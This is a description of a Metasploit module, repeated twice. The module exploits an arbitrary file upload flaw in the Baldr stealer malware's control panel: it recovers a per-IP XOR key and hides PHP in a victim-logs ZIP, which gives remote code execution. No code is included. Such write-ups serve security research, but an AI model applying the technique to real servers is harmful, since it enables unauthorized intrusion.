This Metasploit module exploits a arbitrary file upload vulnerability within the Baldr stealer malware control panel. Attackers can turn this vulnerability into remote code execution by adding malicious PHP code inside the victim logs ZIP file and registering a new bot to the panel by uploading the ZIP file under the logs directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4 byte XOR key. This exploit module retrieves the IP specific XOR key from panel gate and registers a new victim to the panel with adding the selected payload inside the victim logs.

This module exploits a arbitrary file upload vulnerability within the Baldr
stealer malware control panel. Attackers can turn this vulnerability into
an RCE by adding a malicious PHP code inside the victim logs ZIP file and
registering a new bot to the panel by uploading the ZIP file under logs
directory. On versions 3.0 and 3.1 victim logs are ciphered by a random 4
byte XOR key.
This exploit module retrieves the IP spesific XOR key from panel gate
and registers a new victim to the panel with adding the selected payload
inside the victim logs.
